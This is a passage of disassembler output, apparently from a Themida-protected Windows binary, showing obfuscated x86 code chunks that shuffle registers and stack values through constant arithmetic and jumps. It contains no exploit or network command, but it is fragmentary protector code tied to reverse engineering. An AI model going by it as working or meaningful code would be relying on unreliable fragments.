		add	esp, 4
		jmp	loc_558FBF
; ---------------------------------------------------------------------------


loc_5512A1:				; CODE XREF: Themida_:0055A284j
		mov	al, [esp+2]
		mov	[esp+2], dl
		mov	dx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 40EE4000h
		shl	edi, 3
		jmp	loc_557036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5512C4:				; CODE XREF: sub_552B74+6j
		mov	word ptr [esp+4+var_4],	dx
		mov	dl, 2
		push	ecx
		push	ebx
		mov	bh, 22h
		mov	ch, bh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_55A32A
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------


loc_5512DB:				; CODE XREF: Themida_:005515D1j
		pop	ebp
		jmp	loc_554466
; ---------------------------------------------------------------------------


loc_5512E1:				; CODE XREF: Themida_:00551C8Dj
		pop	dx
		pop	eax
		jmp	loc_554EF3
; ---------------------------------------------------------------------------


loc_5512E9:				; CODE XREF: Themida_:0055695Bj
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55A65E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5512FD:				; CODE XREF: sub_556A70+5174j
		shl	dh, 6
		jmp	loc_554638
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551305:				; CODE XREF: Themida_:00551174j
		add	dl, 31h
		xor	dl, 71h
		jmp	loc_55202A
; ---------------------------------------------------------------------------


loc_551310:				; CODE XREF: Themida_:00559C7Dj
		pop	eax
		add	bl, 0C2h
		sub	bl, 0A6h
		push	dx
		mov	dh, 0B9h
		xor	bl, dh
		jmp	loc_55B397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551322:				; CODE XREF: sub_556A70-4827j
		sub	ebp, 619576A8h
		shl	ebp, 2
		not	ebp
		sub	ebp, 8D9CD3DFh
		mov	eax, ebp
		pop	ebp
		dec	eax
		jmp	loc_558216
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D0E


loc_55133C:				; CODE XREF: sub_558D0E+3DF9j
		mov	ebx, 4F6B28D8h
		jmp	loc_552FC6
; END OF FUNCTION CHUNK	FOR sub_558D0E
; ---------------------------------------------------------------------------


loc_551346:				; CODE XREF: Themida_:00553423j
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_554C0F
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 37294385h
		add	ebp, 281D34ACh
		add	ebp, 0A0B987D3h
		jmp	loc_5515CF
; ---------------------------------------------------------------------------


loc_55136E:				; CODE XREF: Themida_:0055CBE4j
		push	esi
		jmp	loc_5524C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_551374:				; CODE XREF: sub_5539DB+6DBAj
		xchg	edi, [esp+0Ch+var_C]
		pop	edi
		sub	esp, 4
		jmp	loc_55CB36
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------


loc_551383:				; CODE XREF: Themida_:0055876Cj
		mov	dl, 31h
		jmp	loc_55BFAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55138A:				; CODE XREF: sub_556A70+5CF2j
		push	cx
		mov	cl, 66h
		xor	ah, cl
		jmp	loc_55ADD4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551395:				; CODE XREF: Themida_:0055A2E1j
		push	edx
		jmp	loc_55C79A
; ---------------------------------------------------------------------------


loc_55139B:				; CODE XREF: Themida_:0055A6BEj
		xchg	eax, [esp]
		jmp	loc_557CD7
; ---------------------------------------------------------------------------


loc_5513A3:				; CODE XREF: Themida_:005594D0j
		push	34D6h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 2
		mov	ebx, ebp
		jmp	loc_555359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5513B8:				; CODE XREF: sub_556A70+61Fj
		pop	eax
		push	eax
		mov	eax, 2
		add	ecx, 5E99510Fh
		sub	ecx, eax
		sub	ecx, 5E99510Fh
		jmp	loc_5544F6
; ---------------------------------------------------------------------------


loc_5513D2:				; CODE XREF: sub_556A70-1916j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_556F60
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5513E2:				; CODE XREF: Themida_:00553B40j
		sub	ecx, 4
		push	ecx
		jmp	loc_55B1E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5513EB:				; CODE XREF: sub_556A70-3EA3j
		mov	ch, 4Fh
		jmp	loc_55A9E2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_5513F2:				; CODE XREF: sub_5567EA+4EE1j
		shr	edx, 7
		add	edx, 27C74D17h
		and	edx, 77BB7DC5h
		xor	edx, 392C065Ah
		push	ecx
		mov	ecx, 49CD081Eh
		neg	ecx
		and	ecx, 2CA83119h
		add	ecx, 18445E43h
		and	ecx, 293F0B85h
		jmp	loc_552D8D
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_551426:				; CODE XREF: sub_5584F8+2EC8j
		add	esi, 4
		jmp	loc_55B43B
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551431:				; CODE XREF: sub_556A70+E09j
		xchg	esi, [esp-14h+arg_10]
		pop	esp
		jmp	loc_553395
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55143A:				; CODE XREF: Themida_:00555894j
		add	dword ptr [esp+4], 1B290341h
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 32A428EFh
		sub	[esp+4], eax
		pop	eax
		jmp	loc_55751C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55145B:				; CODE XREF: sub_556A70-C18j
		sub	bx, ax
		sub	esp, 2
		mov	word ptr [esp-14h+arg_10], si
		jmp	loc_5566A8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55146D:				; CODE XREF: Themida_:00559DFEj
		push	ecx
		mov	ecx, 4
		jmp	loc_5531CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551478:				; CODE XREF: sub_556A70+3A6Bj
		push	edx
		push	ebp
		mov	ebp, 0
		mov	edx, ebp
		jmp	loc_554359
; ---------------------------------------------------------------------------


loc_551486:				; CODE XREF: sub_556A70+47D7j
		mov	[esp-0Ch+arg_8], edx
		mov	edx, 2F9F4463h
		xor	edx, 483F3FF9h
		add	edx, 14685381h
		sub	edx, 1D6F54C4h
		push	eax
		push	69Fh
		mov	[esp-4+arg_0], ebx
		mov	ebx, 378B7EA4h
		mov	eax, ebx
		mov	ebx, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		jmp	loc_552D4C
; ---------------------------------------------------------------------------


loc_5514BB:				; CODE XREF: sub_556A70-5C5Aj
		mov	esp, [esp-8+arg_4]
		push	7ECBh
		mov	[esp-4+arg_0], eax
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5514CB:				; CODE XREF: Themida_:00552D18j
		pop	cx
		jmp	loc_5545CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5514D2:				; CODE XREF: sub_556A70-261Cj
		xor	ebp, 247C0B0Eh
		dec	ebp
		and	ebp, 56803F1Dh
		jmp	loc_551055
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5514E4:				; CODE XREF: Themida_:005533E5j
		shr	edx, 4
		jmp	loc_5579D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5514EC:				; CODE XREF: sub_556A70-18D6j
		mov	edi, [esp-4+arg_0]
		jmp	loc_551608
; ---------------------------------------------------------------------------


loc_5514F4:				; CODE XREF: sub_556A70+ECFj
		pop	edx
		jmp	loc_55BB74
; ---------------------------------------------------------------------------


loc_5514FA:				; CODE XREF: sub_556A70+4188j
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		or	ebx, ebx
		jnz	loc_552EFC
		push	eax
		push	ebp
		mov	ebp, 654823CEh
		inc	ebp
		neg	ebp
		push	eax
		mov	eax, 654823EFh
		sub	ebp, 7D503D14h
		jmp	loc_552440
; ---------------------------------------------------------------------------


loc_551523:				; CODE XREF: sub_556A70+28C0j
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ecx
		mov	ch, 45h
		jmp	loc_55886D
; ---------------------------------------------------------------------------


loc_551530:				; CODE XREF: sub_556A70+4845j
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	small 3476h
		mov	[esp+0], ax
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		jmp	loc_5551CE
; ---------------------------------------------------------------------------


loc_551565:				; CODE XREF: Themida_:00559A35j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55156A:				; CODE XREF: Themida_:00557DADj
		xor	dh, 0A8h
		sub	al, dh
		pop	edx
		add	al, bl
		push	dx
		mov	dh, 24h
		add	al, dh
		pop	dx
		push	ebx
		push	cx
		jmp	loc_552D7F
; ---------------------------------------------------------------------------


loc_551582:				; CODE XREF: Themida_:00553D2Ej
		neg	eax
		add	eax, 42E0FD54h
		xor	edx, eax
		mov	eax, [esp]
		jmp	loc_55A20A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551593:				; CODE XREF: sub_556A70+C4Aj
		add	esp, 4
		add	ecx, 4
		jmp	loc_550DAA
; ---------------------------------------------------------------------------


loc_5515A1:				; CODE XREF: sub_556A70+879j
		add	esi, 3D1F1CF8h
		sub	esi, 4ED6C1D8h
		jmp	loc_555AA1
; ---------------------------------------------------------------------------


loc_5515B2:				; CODE XREF: sub_556A70-5B6Dj
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		inc	ecx
		jmp	sub_55AA5F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5515BE:				; CODE XREF: Themida_:00555F4Cj
		shl	ecx, 7
		push	ebp
		mov	ebp, 6C3F1468h
		shl	ebp, 1
		inc	ebp
		jmp	loc_558446
; ---------------------------------------------------------------------------


loc_5515CF:				; CODE XREF: Themida_:00551369j
		add	esi, ebp
		jmp	loc_5512DB
; ---------------------------------------------------------------------------


loc_5515D6:				; CODE XREF: Themida_:0055A89Fj
		add	ebx, 677FEE04h
		sub	ecx, 5BEB3264h
		add	ecx, ebx
		add	ecx, 5BEB3264h
		jmp	loc_552CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5515EF:				; CODE XREF: sub_556A70+5BDAj
		add	ebx, 60004B9Fh
		add	ebx, eax
		push	edi
		push	esi
		mov	esi, 79B57340h
		push	0D9B5BEDFh
		jmp	loc_55A936
; ---------------------------------------------------------------------------


loc_551608:				; CODE XREF: sub_556A70-5581j
		add	esp, 4
		inc	edx
		xor	edx, 0E2C41616h
		jmp	loc_55468C
; ---------------------------------------------------------------------------


loc_55161A:				; CODE XREF: sub_556A70+E7Cj
		mov	ebx, 2AF860FAh
		shl	ebx, 8
		xor	ebx, 0F860FA04h
		jmp	loc_55AC3E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55162D:				; CODE XREF: Themida_:0055A5BAj
		add	esi, 4
		jmp	loc_55A663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551638:				; CODE XREF: sub_556A70-257Fj
		mov	eax, [esp-8+arg_4]
		push	eax
		jmp	loc_55AC7B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5547A1


loc_551641:				; CODE XREF: sub_5547A1+17j
		pop	ebx
		jmp	loc_5530A6
; END OF FUNCTION CHUNK	FOR sub_5547A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551647:				; CODE XREF: sub_556A70+22Dj
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		mul	ecx
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 28EC7D6Eh
		inc	edi
		shr	edi, 6
		jmp	loc_55BD1E
; ---------------------------------------------------------------------------


loc_551662:				; CODE XREF: sub_556A70+2020j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_551667:				; CODE XREF: sub_556A70-D5Cj
		pop	esp
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_554248
; ---------------------------------------------------------------------------


loc_551679:				; CODE XREF: sub_556A70+113j
		mov	edi, 67945F38h
		push	edi
		not	[esp+4+var_4]
		pop	edi
		jmp	loc_5522ED
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551688:				; CODE XREF: Themida_:0055616Fj
		mov	bh, 0E9h
		mov	dh, bh
		pop	ebx
		neg	dh
		jmp	loc_5591C6
; ---------------------------------------------------------------------------


loc_551694:				; CODE XREF: Themida_:005595E7j
		push	edx
		mov	edx, 7EED101Ch
		jmp	loc_555137
; ---------------------------------------------------------------------------


loc_55169F:				; CODE XREF: Themida_:00553F6Cj
		mov	bh, 0A1h
		jmp	loc_557971
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_5516A6:				; CODE XREF: sub_5566B9+27F4j
		add	ecx, 70850C20h
		jmp	loc_5535E8
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_5516B1:				; CODE XREF: sub_555B85+498Dj
		neg	ebp
		jmp	loc_5511DD
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5516B8:				; CODE XREF: sub_556A70-1416j
		and	al, cl
		mov	ecx, [esp+0]
		push	7A59h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_5595EC
; ---------------------------------------------------------------------------


loc_5516D2:				; CODE XREF: sub_556A70+5793j
		mov	[esp+8+var_8], ecx
		mov	ecx, 53F233DFh
		add	eax, ecx
		pop	ecx
		sub	eax, 4C5D7149h
		add	eax, edi
		add	eax, 4C5D7149h
		jmp	loc_55739D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5516EE:				; CODE XREF: Themida_:00558E71j
		pop	eax
		push	esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_558D71

; =============== S U B	R O U T	I N E =======================================



sub_5516F8	proc near		; CODE XREF: sub_556A70+18DEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00550C3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00552226 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00552501 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00555233 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005561D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00558C18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558EDD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A204 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055AFE2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055BFFE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055C028 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C7A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C7FE SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 786089Bh
		sub	ebx, 0BED5E0Bh
		neg	ebx
		jmp	loc_55C7A5
sub_5516F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_55170B:				; CODE XREF: sub_551E74+8j
		pop	ebp
		jmp	loc_5548B7
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551711:				; CODE XREF: sub_556A70+1E7j
		mov	edi, esp
		jmp	sub_5519E5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551718:				; CODE XREF: Themida_:00551A51j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_553F68
; ---------------------------------------------------------------------------


loc_55172C:				; CODE XREF: Themida_:0055B62Cj
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_551749:				; CODE XREF: Themida_:0055844Ej
		pop	ebp
		add	edi, ecx
		pop	ecx
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551767:				; CODE XREF: sub_556A70-37B8j
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	edi
		pop	eax
		pop	edi
		jmp	loc_55A37E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_551784:				; CODE XREF: sub_55A748-4ACBj
		pop	esp
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_556EAF
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------


loc_55178D:				; CODE XREF: Themida_:0055B9A8j
		pop	ax
		add	bl, cl
		push	dword ptr [esp]
		jmp	loc_55BF08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_551799:				; CODE XREF: sub_550BFD+46A5j
		pop	ecx
		add	esp, 4
		sub	edx, 76D8687Dh
		add	edx, eax
		add	edx, 76D8687Dh
		push	ebp
		mov	ebp, 4E622216h
		add	edx, ebp
		jmp	loc_559DB4
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5517BB:				; CODE XREF: sub_556A70-4960j
		add	ebx, 4
		push	5C48h
		mov	[esp+0], ebx
		push	[esp+arg_0]
		pop	ebx
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55B293
; ---------------------------------------------------------------------------


loc_5517D9:				; CODE XREF: sub_556A70+5527j
		add	eax, 4
		push	eax
		push	[esp+arg_0]
		pop	eax
		jmp	loc_5546F0
; ---------------------------------------------------------------------------


loc_5517E7:				; CODE XREF: sub_556A70+DCBj
		mov	esi, 3DCB1EE4h
		not	esi
		push	eax
		mov	eax, 3DCB1EE9h
		add	esi, eax
		pop	eax
		jmp	loc_55AF19
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5517FC:				; CODE XREF: Themida_:005587AAj
		add	esi, 316A3248h
		sub	esi, ecx
		sub	esi, 316A3248h
		push	eax
		mov	eax, 14113DFDh
		sub	eax, 67F8707Eh
		or	eax, 68991FCEh
		add	eax, 5E330C00h
		dec	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 0B700596Bh
		add	esi, eax
		jmp	loc_55B62B
; ---------------------------------------------------------------------------


loc_551831:				; CODE XREF: Themida_:00554019j
		pop	edx
		push	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2A5D50D7h
		xchg	esi, edi
		dec	esi
		jmp	loc_55C6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551858:				; CODE XREF: sub_556A70+3FD7j
		xchg	edi, edx
		jmp	loc_5542EA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55185F:				; CODE XREF: Themida_:00558F53j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55A6C3
; ---------------------------------------------------------------------------


loc_55186D:				; CODE XREF: Themida_:00558303j
		add	edx, ebp
		add	edx, 5E9414F1h
		jmp	loc_55C418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55187A:				; CODE XREF: sub_556A70-37C7j
		push	180Ah
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	12A5h
		mov	[esp+8+var_8], esi
		mov	esi, 494B3B35h
		neg	esi
		shl	esi, 3
		sub	esp, 4
		jmp	loc_5522B3
; ---------------------------------------------------------------------------


loc_5518A1:				; CODE XREF: sub_556A70+5EC0j
		push	edi
		mov	edi, 747449DEh
		add	edi, 50977D6Dh
		sub	edi, 54AE6C0Bh
		and	edi, 3DBD167Bh
		neg	edi
		jmp	loc_555BE4
; ---------------------------------------------------------------------------


loc_5518C0:				; CODE XREF: sub_556A70-1B7j
		sub	ebx, 7DD26107h
		jmp	loc_555D62
; ---------------------------------------------------------------------------


loc_5518CB:				; CODE XREF: sub_556A70-2EC4j
		xor	edi, 0B119D4DCh
		jmp	loc_551ABD
; ---------------------------------------------------------------------------


loc_5518D6:				; CODE XREF: sub_556A70+A64j
		pop	edx
		inc	ebx
		xor	ebx, 0B91778A5h
		or	ebp, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		or	ebp, 94068FDh
		add	ebp, 3FDFAFDh
		add	ecx, 3D4D4B6Eh
		sub	ecx, ebp
		sub	ecx, 3D4D4B6Eh
		pop	ebp
		and	eax, ecx
		jmp	loc_558D2F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555903


loc_55190B:				; CODE XREF: sub_555903-1D80j
		add	esp, 4
		or	ecx, ecx
		jz	sub_55BDF1
		push	esi
		mov	esi, esp
		jmp	loc_554905
; END OF FUNCTION CHUNK	FOR sub_555903
; ---------------------------------------------------------------------------


loc_551921:				; CODE XREF: Themida_:00554D2Ej
		pop	ecx
		jmp	loc_551E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551927:				; CODE XREF: sub_556A70-317Dj
		pop	ebx
		jmp	loc_557044
; ---------------------------------------------------------------------------


loc_55192D:				; CODE XREF: sub_556A70-35Cj
		inc	ecx
		not	ecx
		push	ebp
		mov	ebp, 0D1C91A31h
		sub	ecx, ebp
		pop	ebp
		sub	edi, 4EEE1766h
		jmp	loc_55BE9D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551944:				; CODE XREF: Themida_:0055920Ej
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_552A88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551954:				; CODE XREF: sub_556A70-4013j
		or	eax, 9DF17ECh
		xor	eax, 1994CFC5h
		add	ecx, eax
		pop	eax
		mov	ebp, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	edx, ebp
		jmp	loc_552963
; ---------------------------------------------------------------------------


loc_551973:				; CODE XREF: sub_556A70-40DDj
		mov	[esp-8+arg_4], esi
		jmp	sub_55227F
; ---------------------------------------------------------------------------


loc_55197B:				; CODE XREF: sub_556A70-112Ej
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp-8+arg_4]
		jmp	loc_55441F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55198C:				; CODE XREF: Themida_:0055948Cj
		sub	cl, 24h
		add	cl, 0BEh
		sub	cl, bl
		jmp	loc_55C23E
; ---------------------------------------------------------------------------


loc_551999:				; CODE XREF: Themida_:00557F36j
		xor	ch, 40h
		xor	al, ch
		mov	ecx, [esp]
		jmp	loc_55A7A4
; ---------------------------------------------------------------------------


loc_5519A6:				; CODE XREF: Themida_:0055BEDCj
		mov	esi, esp
		push	ebp
		mov	ebp, 3D340516h
		xor	ebp, 674F77AAh
		shl	ebp, 6
		not	ebp
		xor	ebp, 6BA12C88h
		shr	ebp, 6
		neg	ebp
		jmp	loc_5531A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_5519C9:				; CODE XREF: sub_559F87-47D1j
		push	[esp+8+var_8]
		pop	edx
		jmp	loc_55CA0F
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5519D2:				; CODE XREF: sub_556A70+E56j
		add	esp, 4
		pop	[esp-0Ch+arg_8]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5519E5	proc near		; CODE XREF: sub_556A70-535Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055C290 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		jmp	loc_55C290
sub_5519E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553657


loc_551A02:				; CODE XREF: sub_553657+Ej
		add	esp, 4
		not	eax
		xor	eax, 0F1063BB4h
		push	eax
		mov	edi, [esp+0]
		add	esp, 4
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp-8+arg_4]
		jmp	loc_55BAFA
; END OF FUNCTION CHUNK	FOR sub_553657
; ---------------------------------------------------------------------------


loc_551A26:				; CODE XREF: Themida_:0055843Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55CD1E
; ---------------------------------------------------------------------------


loc_551A31:				; CODE XREF: Themida_:00552DC4j
		add	ebx, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_5526A4
; ---------------------------------------------------------------------------


loc_551A3C:				; CODE XREF: Themida_:00555F06j
		pop	eax
		jmp	loc_555223
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551A42:				; CODE XREF: sub_556A70+948j
		mov	dh, bl
		jmp	loc_558391
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0E5h
		add	al, bl
		push	esi
		mov	esi, esp
		jmp	loc_551718
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_551A56:				; CODE XREF: sub_55515F+12F3j
		mov	eax, 6E605079h
		and	eax, 6EA8416Dh
		shr	eax, 6
		not	eax
		add	eax, 55932C6Fh
		xor	eax, 23D90F32h
		add	eax, 0B65DB939h
		sub	ebx, eax
		pop	eax
		jmp	loc_55C626
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------


loc_551A7C:				; CODE XREF: Themida_:00550FA7j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55422D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551A8D:				; CODE XREF: sub_556A70+5C1j
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	6042h
		mov	[esp-14h+arg_10], eax
		xchg	eax, [esp-14h+arg_10]
		push	eax
		not	[esp-10h+arg_C]
		pop	eax
		jmp	loc_552812
; ---------------------------------------------------------------------------


loc_551ABD:				; CODE XREF: sub_556A70-519Fj
		push	edi
		pop	ecx
		jmp	loc_5559EE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_551AC4:				; CODE XREF: Themida_:00554BACj
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_554AB2
; ---------------------------------------------------------------------------


loc_551AE1:				; CODE XREF: Themida_:0055C551j
		dec	esi
		add	esi, 0FFED77CDh
		add	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
